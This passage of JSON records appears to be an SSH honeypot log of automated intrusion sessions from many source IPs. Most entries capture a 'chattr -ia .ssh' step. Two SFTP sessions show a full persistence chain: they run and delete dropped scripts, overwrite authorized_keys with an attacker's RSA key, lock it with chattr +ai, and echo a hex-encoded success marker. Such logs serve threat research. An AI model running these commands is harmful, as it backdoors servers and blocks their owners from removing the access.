  "id": "35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0",
  "name": "steady-cheerful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.63.76",
  "src_port": 35932,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T19:03:55.913807+00:00",
  "ended_at": "2026-08-23T19:03:55.985138+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3961
 },
 {
  "id": "545cffd7-03e3-4536-b36a-0ee8088e6f97",
  "name": "forlorn-foggy-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.216.145.2",
  "src_port": 49688,
  "username": "john",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T18:39:50.081206+00:00",
  "ended_at": "2026-08-23T18:39:50.275426+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3384
 },
 {
  "id": "992d97c7-77cd-4152-bd8f-bf9b52fc8828",
  "name": "frosty-grumpy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.145.0.61",
  "src_port": 51740,
  "username": "virt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 722,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T18:39:00.639689+00:00",
  "ended_at": "2026-08-23T18:39:00.867053+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3739
 },
 {
  "id": "44791e79-6a9a-48df-b16a-8a9d34c43098",
  "name": "wandering-blunt-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "102.211.152.138",
  "src_port": 47036,
  "username": "adminweb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T17:10:10.486640+00:00",
  "ended_at": "2026-08-23T17:10:10.586345+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3592
 },
 {
  "id": "4b4a7481-28dd-4636-926d-88ae6ce51d5c",
  "name": "wandering-forlorn-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.235.9",
  "src_port": 50700,
  "username": "gbase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T17:07:09.255602+00:00",
  "ended_at": "2026-08-23T17:07:10.091833+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3928
 },
 {
  "id": "15b8cc85-2e01-49d5-8d23-197de278f1b5",
  "name": "inland-ashen-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "4.224.40.94",
  "src_port": 58494,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T16:13:55.703155+00:00",
  "ended_at": "2026-08-23T16:13:55.895998+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3943
 },
 {
  "id": "40817a97-176c-48c1-b57c-ffceaa09c3dc",
  "name": "opal-rambling-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.199.36",
  "src_port": 60606,
  "username": "caleb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:50:29.670651+00:00",
  "ended_at": "2026-08-23T13:50:29.782631+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3455
 },
 {
  "id": "bdaf581a-cda9-473b-b316-93f54c67069b",
  "name": "foggy-cunning-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 917,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:46:37.478805+00:00",
  "ended_at": "2026-08-23T13:46:37.768414+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3538
 },
 {
  "id": "291af6ba-5824-42c1-977c-866685fc9534",
  "name": "frank-foggy-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.71.192.108",
  "src_port": 39330,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:35:55.531860+00:00",
  "ended_at": "2026-08-23T13:35:55.678004+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3419
 },
 {
  "id": "171f38d1-ac7a-400e-8637-f48b63021680",
  "name": "feral-western-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.188.16.97",
  "src_port": 46568,
  "username": "samr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:34:48.717073+00:00",
  "ended_at": "2026-08-23T13:34:48.827999+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3686
 },
 {
  "id": "a7c2dc75-073e-4f82-8ea8-956c9e4d969f",
  "name": "humble-lucid-albatross",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36788,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-23T12:55:19.400765+00:00",
  "ended_at": "2026-08-23T12:55:19.733045+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1029
 },
 {
  "id": "55f4bf7c-8351-4936-adaf-98ea4854c7bc",
  "name": "cosmic-dapper-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.202.9.120",
  "src_port": 53304,
  "username": "nobody",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T09:48:02.182225+00:00",
  "ended_at": "2026-08-23T09:48:02.225005+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4227
 },
 {
  "id": "a8a8dac7-e250-4c2b-8d5a-3dd11cce1446",
  "name": "salty-whispering-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "192.169.201.223",
  "src_port": 33562,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:15:44.521354+00:00",
  "ended_at": "2026-08-23T08:15:44.584189+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4126
 },
 {
  "id": "25950a94-a394-42f1-b979-f009f0dc92f4",
  "name": "spirited-shaded-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.130.249.176",
  "src_port": 53634,
  "username": "tuan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:14:07.773215+00:00",
  "ended_at": "2026-08-23T08:14:07.952902+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3850
 },
 {
  "id": "fbe487c2-e38d-4eca-b4f1-0815e77cb3af",
  "name": "umber-coral-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.180.88.176",
  "src_port": 32976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:17:08.121725+00:00",
  "ended_at": "2026-08-23T06:17:08.182859+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3588
 },
 {
  "id": "70fe1f9e-b460-4fb0-8891-63a61305e666",
  "name": "wistful-peaty-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 43268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 715,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:16:26.327703+00:00",
  "ended_at": "2026-08-23T06:16:26.559283+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4025
 },
 {
  "id": "bde62863-ed5a-4eff-8e47-810f31050852",
  "name": "emerald-cheerful-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "34.175.118.185",
  "src_port": 60072,
  "username": "tata",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T05:42:25.785134+00:00",
  "ended_at": "2026-08-23T05:42:26.045854+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3482
 },
 {
  "id": "d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf",
  "name": "earnest-rambling-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.102.98.53",
  "src_port": 49848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 65,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T04:52:11.093291+00:00",
  "ended_at": "2026-08-23T04:52:11.099503+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3537
 },
 {
  "id": "ef9be64f-5e8e-4a96-9bca-4e987a8034c4",
  "name": "proud-watchful-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "159.223.97.218",
  "src_port": 34128,
  "username": "reporting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 50,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T04:19:17.313792+00:00",
  "ended_at": "2026-08-23T04:19:17.317810+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3514
 },
 {
  "id": "0af38a76-50aa-4aa0-8784-af1dc7506ab5",
  "name": "indigo-bronzed-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.231.24",
  "src_port": 53226,
  "username": "smart",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T02:37:41.144862+00:00",
  "ended_at": "2026-08-23T02:37:41.211971+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3326
 },
 {
  "id": "44209e3f-5412-4815-bc23-09522c1769d6",
  "name": "oaken-cosmic-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.182.132.154",
  "src_port": 54508,
  "username": "jitendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 686,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T01:13:57.416629+00:00",
  "ended_at": "2026-08-23T01:13:57.629315+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3956
 },
 {
  "id": "0844521b-6fe2-405e-8725-531adb115801",
  "name": "thawing-jagged-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "213.91.234.180",
  "src_port": 54362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T01:09:13.082039+00:00",
  "ended_at": "2026-08-23T01:09:13.187119+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3866
 },
 {
  "id": "4a0c9132-6dee-4f72-9d68-d4faa24a1033",
  "name": "gleaming-placid-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.25.158.70",
  "src_port": 57626,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 373,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:58:21.019162+00:00",
  "ended_at": "2026-08-23T00:58:21.109836+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3397
 },
 {
  "id": "e4909784-b570-4d6e-b53d-274294e58207",
  "name": "glassy-subtle-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "58.209.82.184",
  "src_port": 45019,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 795,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:50:22.167314+00:00",
  "ended_at": "2026-08-23T00:50:22.411160+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3812
 },
 {
  "id": "1a89d4f8-6eb1-4402-9cb6-68a4cbd7f36d",
  "name": "nautical-foggy-cormorant",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 26150,
  "username": "manager",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-23T00:43:29.794697+00:00",
  "ended_at": "2026-08-23T00:43:29.948066+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1050
 },
 {
  "id": "50d8261c-2b8a-4d6e-b889-bcc7ce510f56",
  "name": "merry-prickly-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "35.237.94.18",
  "src_port": 38132,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:28:27.222996+00:00",
  "ended_at": "2026-08-23T00:28:27.239147+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3280
 },
 {
  "id": "bb8255c1-fa10-47fb-bace-d408951594e4",
  "name": "ivory-gloomy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "68.183.236.1",
  "src_port": 37372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T21:59:03.408093+00:00",
  "ended_at": "2026-08-22T21:59:11.945062+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3638
 },
 {
  "id": "95af22e8-455c-494b-9a26-d34aceb89a4c",
  "name": "painted-electric-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "161.248.189.72",
  "src_port": 37538,
  "username": "wanghao",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 794,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T19:14:31.740961+00:00",
  "ended_at": "2026-08-22T19:14:31.989686+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3941
 },
 {
  "id": "d1ae6f90-0b8c-4bc6-848b-19144edc24ef",
  "name": "candid-restless-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 41778,
  "username": "suporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 894,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:50:13.441372+00:00",
  "ended_at": "2026-08-22T18:50:15.710054+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3480
 },
 {
  "id": "f0f09920-b4c1-4d19-92d8-fdac78e39488",
  "name": "solar-cheerful-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.134.154.195",
  "src_port": 46574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 791,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T15:42:34.931139+00:00",
  "ended_at": "2026-08-22T15:42:35.179940+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3563
 },
 {
  "id": "7207bd6d-f105-44ce-ad44-2ecdc0e17b8e",
  "name": "supple-lunar-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "81.192.46.36",
  "src_port": 58294,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 373,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T14:19:36.840359+00:00",
  "ended_at": "2026-08-22T14:19:36.951750+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3814
 },
 {
  "id": "fd12e7ec-8d7d-4402-b538-0a87cd5d9eeb",
  "name": "lawful-salty-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.204.82.238",
  "src_port": 39654,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T05:11:42.404059+00:00",
  "ended_at": "2026-08-22T05:11:42.563531+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3371
 },
 {
  "id": "a138c833-813b-4b76-91a9-f7e27e1b99f6",
  "name": "merry-faded-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.11.36",
  "src_port": 40004,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T05:06:04.372296+00:00",
  "ended_at": "2026-08-22T05:06:04.643002+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3321
 },
 {
  "id": "a0b73d99-0f20-4e51-aa7c-a0a50f254683",
  "name": "early-civil-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "181.164.12.188",
  "src_port": 47690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 620,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:48:04.820032+00:00",
  "ended_at": "2026-08-22T01:48:05.007288+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3555
 },
 {
  "id": "f567bc26-6240-465f-9ae0-dff2f938b90b",
  "name": "creaky-painted-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.114.125.22",
  "src_port": 59710,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 736,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:33:33.265881+00:00",
  "ended_at": "2026-08-22T01:33:33.493883+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3274
 },
 {
  "id": "1717ccb8-2a3e-4918-a53f-737276bbee20",
  "name": "lunar-indigo-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.248.121.226",
  "src_port": 51178,
  "username": "vpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T00:31:10.803275+00:00",
  "ended_at": "2026-08-22T00:31:10.912877+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3385
 },
 {
  "id": "586c8448-b441-41be-a6a4-ce51a64e72cd",
  "name": "crimson-frank-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "210.79.142.230",
  "src_port": 56430,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 740,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:44:40.988584+00:00",
  "ended_at": "2026-08-21T22:44:41.220167+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3495
 },
 {
  "id": "14592ca2-05d5-49de-bc8c-a65243d8b786",
  "name": "crisp-thrifty-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.193.74.35",
  "src_port": 59762,
  "username": "moodle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:41:24.962326+00:00",
  "ended_at": "2026-08-21T22:41:25.198772+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3571
 },
 {
  "id": "53a3648e-931d-4b38-a64e-98873cd47818",
  "name": "grumpy-twilight-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "49.207.247.60",
  "src_port": 8157,
  "username": "kk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 642,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:15:18.046669+00:00",
  "ended_at": "2026-08-21T22:15:18.243265+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3926
 },
 {
  "id": "0cc7a6c5-0cf1-43ec-a02d-3ea68596a8f3",
  "name": "austere-regal-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.152.148.27",
  "src_port": 51410,
  "username": "vadim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:13:33.104155+00:00",
  "ended_at": "2026-08-21T22:13:33.323354+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3492
 },
 {
  "id": "cc026bcb-8f37-418f-a853-ad13d79e6f45",
  "name": "slender-northern-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.230.18.133",
  "src_port": 57384,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T18:12:23.831896+00:00",
  "ended_at": "2026-08-21T18:12:23.919344+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3758
 },
 {
  "id": "085553b7-74c2-4a2d-9c6e-99eaa2ee2e06",
  "name": "clever-wistful-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "143.202.162.212",
  "src_port": 35234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T17:00:24.227469+00:00",
  "ended_at": "2026-08-21T17:00:24.302398+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3554
 },
 {
  "id": "b29bc095-7170-40d7-aaf1-f537ef951734",
  "name": "frugal-leafy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.173.200.62",
  "src_port": 44638,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T10:41:08.573334+00:00",
  "ended_at": "2026-08-21T10:41:08.615394+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4079
 },
 {
  "id": "dde2d4ff-0ca4-483b-9053-7458166c5e99",
  "name": "lonesome-hazy-dormouse",
  "protocol": "ssh",
